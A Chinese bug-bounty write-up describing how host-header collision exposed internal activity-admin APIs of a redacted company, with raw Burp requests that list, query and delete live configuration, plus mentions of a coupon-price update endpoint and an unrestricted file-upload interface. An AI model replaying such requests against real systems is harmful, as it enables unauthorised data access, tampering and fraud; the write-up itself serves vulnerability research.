0X01.前言
本次测试目标为国内某个SRC专属项目,利用host碰撞访问内网系统接口,拼接构造获取敏感信息,操作敏感信息,构造上传接口上传任意文件,一共收获一个高危一个中危,host碰撞原理和工具之前介绍过,这里不过多说了,师傅们可以看看之前的文章,今天这个比上次稍微难点,不过也还好。
0X02.挖掘利用过程
首先查看到一个JS文件,通过该JS文件可以看到有很多接口。
直接搜索URL可以看到存在很多接口
使用构造的url访问系统,利用burp抓包修改host值,把以下数据包放到burp中重放(注:大概率会返回403,多发送几次即可返回想要的数据),可查看到系统中的一些活动的列表信息,如活动的举办时间,名字等,但是这其实都不算啥,所以为了证明危害,这里尝试删除一点没用的活动信息(和厂商协调了的,因为他们要我证明危害,对数据的操作建议师傅们慎重考虑哈哈)这里我以/activity_admin/api/source/config/base/delete接口删除为例;
POST /activity_admin/api/activities/ics HTTP/1.1
Host: xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 2
{}
继续找一些接口利用,如查看短信发送内容的接口/activity_admin/api/sms/tasks
还有接口如 /activity_admin/api/source/config/base/condition,该接口可查看系统各个小程序设置配置,可以看到该接口未删除前还存在51条数据,
POST /activity_admin/api/source/config/base/condition HTTP/1.1
Host: xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 27
{"pageNum":1,"pageSize":51}
然后利用删除接口/activity_admin/api/source/config/base/delete,删除车系页计算器,系统返回成功,成功删除该配置。
DELETE /activity_admin/api/source/config/base/delete HTTP/1.1
Host: xxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 70
{"sourceCode":"seriesCalc","operatorName":"songziwen","operatorId":-1}
、
该接口显示所有店铺活动,店铺名称,创建该活动的用户名称。
POST /activity_admin/api/activities/ebusiness/condition HTTP/1.1
Host: xxxx.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 28
{"pageNum":1,"pageSize":380}
然后还有一个高危接口,该接口可以对活动进行修改,比如说优惠卷的价格可以修改为0.1元兑换100000元,危害极大,该系统还在运行,就不破坏了,参考delete接口
/activity_admin/api/activities/ebusiness/update
/activity_admin/api/activities/pushNotice/condition
到这里其实获取的信息和可以操作的信息已经达到高危的级别了,就没再找了,然后再看看文件上传接口,这里也是随意构造了一下,发现未做白名单限制,根据经验其实内部系统很多都未做文件上传限制,我遇到的都至少10多次了,所以师傅们一定要去试试构造上传接口,这里也是成功又收获一个文件上传漏洞
0X03.总结
本次挖掘给的是一个高危一个中危,奖金一共2500○子,这次挖的比之前的累一点点,但还好,师傅们如果遇到一定要多构造有威胁的接口,尽量升级危害,但是那种增加删除的操作需要和厂商先沟通一下,要不小心进去了哈哈。